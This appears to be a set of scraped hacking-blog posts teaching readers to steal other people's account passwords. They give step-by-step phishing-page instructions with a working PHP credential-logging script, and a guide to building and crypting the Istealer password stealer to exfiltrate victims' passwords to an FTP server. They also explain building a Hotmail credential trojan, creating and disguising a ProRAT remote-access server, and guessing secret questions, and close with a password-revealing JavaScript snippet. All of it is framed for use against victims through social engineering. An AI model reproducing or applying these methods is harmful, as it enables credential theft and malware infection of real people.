Most detailed guide to phishing..

I am writing this post in response to the request made to me via comments to give tutorials about phishing.. Here i will be listing step by step instruction to create your own phishing page or a fake page..

So, before starting something more quick for the new learners.. I am giving the pre-made pages in the links.. You can use them.. or if you really wanna learn then scroll to Detailed Method:

Method 1: Use my Pages-
Here are the steps you must follow for this to work...

1. Sign up to a free hosting service like Freehostia or Ripway or anyone of your choice there are many available options for it..
2. Download the phishing pages for the site(s) you want..
Yahoo Mail
Rediff Mail
Orkut
Gmail
Blogger
FaceBook
3. Upload them to the hosting service (both php and html).. and get the url for the index.html, this will be your fake page..
4. you are done now.. just pass the link to the victim and ask them to login.. then open the hosting site and find the file passes.txt You will find all the variables in the site along with the login name and the password.. Njoy.. If you face any problem comment.. or if you want the pre-built fake pages for any other sites the also comment, I will create and add it here..
If you still struggle to create on your own, i will set it up for you.. and hand you the password..!! 

Method 2. Create Your Own (Detailed method) -

1. It is must to sign up with a hosting service, so get one first..
2. Then go to the page you want to create a fake page of, say yahoo.. and save the html file..( Go to login page not the main page)
3. Now you have to create a php script for recording all the variables that are entered in the page and storing it to a text file, You must know that even the login name and passwords are the variables here. so, you will get them to.. The script is self explanatory, but if you wanna know more about it comment and i will help you..

<?php
header("Location: http://www.yahoomail.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
 {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save this with name phis.php this one is for yahoo so, the url is for yahoo.. and it will record all the variables in the passes.txt

4. So now you have to link this script with the page you saved earlier..

5. Open the html file in your HTML editor or notepad, and find the "action = " label and replace the following thing with the name of the php file i.e phis.php
6. what you just did is to call your own script when the user submit its form using the action command in html, so now you have the password and the user is redirected to original page..

The following tips will make your task easier..
1. You can send them this link through an anchor text "Yahoo" having hyperlink to your URL.. this will remove the doubt about entering the url in the url navigation bar..
2. You can sign in to get free domains along with hosting mentioned before from the sites like CO.CC or Dot.tk which will make your task more simpler..

So, hope you enjoyed the post, please comment and let me know.. it will be highly encouraging..
Cya, Will be back with more.. Happy Hacking...

Hack Tool : Istealer

Istealer like ardamax is an efficient windows password stealer software used to hack email account passwords and every online activity. I have already explained about RATs and keyloggers and Torjans to hack email account passwords, where you have to send your keylogged file to victim. In the same way, Istealer can be used to hack email account password and find passwords of various emails.

Steps:

1. Download Istealer password stealer software to start the hacking..
2. Go to http://www.esmartstart.com/ or any other free hosting site and sign up for free account. After creating free ftp server account, enable FTP Access and create a new folder named “Istealer” at your FTP.
3. Run the Loader.exe file present in Istealer folder to get something like:

4. Now, simply fill the following in Istealer:
Host: ftpserver.esmartdesign.com
Username and Password: Your username and password for esmartstart ftp server.
Directory: /Istealer
5. You can bind Istealer to any other file by checking “Bind with another file” and giving file path to bind with. Also, you can use Icon Change to change Istealer file icon. This step is optional but, necessary for hiding password stealer from victim’s eyes.
6. To check whether you have entered right ftp server information, hit “Test” and if you have done it right, you will get message “Works perfect”. If it says “Cannot connect to FTP Server”, you have entered something wrong… just check it again.
7. When you’ve done all above steps, simply hit on “Build” and save the password stealer file as you want. You can also use crypters as i explained in last post for hiding it from AntiVirus Software.
8. Now, simply send this password stealer file to victim and make him run this windows password stealer file on his computer use Social Engineering. After he runs our sent password stealer file on his computer, you will get all passwords and records saved on his computer at your FTP server.

That’s it. Now, you can hack email account password using Istealer. Remember to crypt and then bind this windows Password stealer to make it undetectable by antivirus. If you have any problem in using this Istealer password stealer software to hack email account password, please mention it in comments.
njoy Istealer..

Hacking Hotmail Password..

I was surfing the net and i came across this software which is a sure shot way to hack hotmail password.. Its one of the oldest trick and simplest too but does require a bit of social engineering from your side.. Hmmm.. Social Engineering Isn't a tough job... don't be scared, its just the way of convincing the victim.. you will understand as we progress..

So lets start..

1. So, to start with you will need the tool to build your software for hacking.. Its called Hotmail Hack Builder.. Download it Here..
Password:  hackerhubz

2. Extract the two Exe Files..
Your antivirus may detect it as Hacking tool, so before extracting shut it down for some time, if you are paranoid about it you can disconnect the net too.. but that isn't necessary..

3. Run the tool to see:

4. Enter the email Id and password for your account, I suggest creating a new account for this purpose. set the SMTP Server according to your ID. Can find Detais here..  If you face any problems comment.
Enter the message which will be displayed to the victim..
Click on build..

5. A Hotmail hacker will be created in the folder..

6. Now comes your social Engineering.. So lets check your convincing power.. You have to convince the victim that this is a software to hack any hotmail account and when he/she will fall for it.. Voila.!!! you have the password in your mail you given..!!! and he gets an error..!!

So njoy hacking hotmail and comment..!!
Hack Gmail

Remote PC Access Software : Demo..

I mentioned about remote pc access software called RATs in my last post. As a reference to that article, i am posting this security article to inform about installation and use of PRORAT. PRORAT is a RAT (Remote Administration Tool) used as remote pc access software.

PRORAT - Remote pc access software:


1. Download PRORAT software for remote pc access, by clicking on it.
2. Now, the unzipped file will contain Prorat.exe file. Run the file on your computer.

3. Now, we have to create a server to send it to remote computer for remote pc access. So, click on Create ->Create Prorat server.

4. Go to no-ip.com and register for an account.
 
5. Now, in Pro connective notification, enter in IP(DNS) address, the link provided to you by no-ip and let all remaining fields remain unchecked.

6. Alongwith using Pro connective notification, you can even use your mail address to confirm about server installation.

7. You can even bind the server with a specific file to prevent victim knowing about the server installation on his computer.

8. To change server default icon, click on “Server icon” on left option pane and select any suitable icon according to binded file.

9. Now, when all things are done, hit on “Create server” and you will get server created in Prorat directory. This server is used for remote pc access.

10. This ends server creation part over here.

Now, when you have created PRORAT server, next step is to send this server to victim computer and then use PRORAT for remote pc access. I will explain in coming posts about how to connect to remote PRORAT server on remote victim computer and then use this for remote pc access. If you have any problem in using this PRORAT, please mention it in comments section.

njoy..

Hacking Email Account Passwords... hack Gmail..

So, the main essence of hacking lies in the Mail Password Cracking.. Isn't It.. N ya of course many out there are looking for the ways to do so.. So here is the post answering to the questions like "How to hack an Email Id" or "Where to download free Hacking Tool or Software", etc, etc..

Now u'll be able to hack any email account...hack any email account password... hack gmail


After this you should know "almost" all the top and popular ways on How to Hack an Email account password...
Here we go:

1.Phishing:

So far, this is one of the most popular method used in hacking email account passwords as with this method you get a mail containing victim's username and password...

Phishing is a way of saying Keylogger but in another way. Let's say you want to create a hotmail phishing page...The page should look exactly like the real one.

How does it work:

You can download/make a replica(phisher) of the website you want to phish...and save it as an HTML file. When you're done with that,you have to find a way to upload the HTML.

Best way is a Website (Free Hosting). Like Piczo/Blogspot etc.

When thats done, the user (is made to believe that it's the real website) so he/her types his/hers username and password...and automatically the username and password will be sent to you by mail or in some cases saved onto a Log.txt file.

There you have it, that's Phishing.


Will be writing the tutorials soon check for the coming posts for it..


2.Brute Forcing:

Brute Forcing is like guessing the password , but instead you make/download a password list (a long .txt file containing words that the password might be) and the Brute Forcer tries them all...

You probably have the lesser chance of getting the password this way. The disadvantage of using Bruteforce to crack passwords is the time it takes to crack the password...it takes very long which is not desirable for a busy hacker schedule....


Will be posting more on this soon..


3.Keyloggers:

This method i found very efficient in hacking passwords.

Keyloggers are like phishing but is more simple. Its a simple .exe file. When someone clicks it, the Keylogger auto downloads

Start it, on your/their computer, and put in the IP or Email (for some), and every hour etc
You'll receive keys pressed on his/her computer thats an easy way to find out passwords...Although they are normally found out!

A keylogger records all keystrokes on computer that the victim makes and automatically you are able to record his passwords and finally accomplish the goal of hacking his email account.



wait for coming tutorials..


4.Guessing The Secret Question:

This is pretty orthodox method of password cracking which uses "Forgot password" link, but is of great help sometimes.

If you know your friends, this will be an easy task. Go to http://www.hotmail.com or whatever email provider victim is using and click "Forgot Password", then put in their email address...and then the CATCHA code. Reply to the secret question (and If you get it right, you Have his Password! or can reset it..)

But beware because you have like 3 tries only..

Well I think that I've covered "almost" All top ways of "How to Hack an Email"
many more exists like:
Pharming,
Whaling,
Cookie Stealer,
Fake Messenger, etc, etc which will be covered in the coming post after the explanation of the above methods...


Njoy..




Hack Gmail

Finding Password Behind Asterisks...

There are times when we select remember me option in the login tab. There are many ways to extract the password from it. The easiest one is to get it when the browser fills the password field with asterisks. Just Paste the code below in the navigation bar n Voila.. You have the Password..!!!  

javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}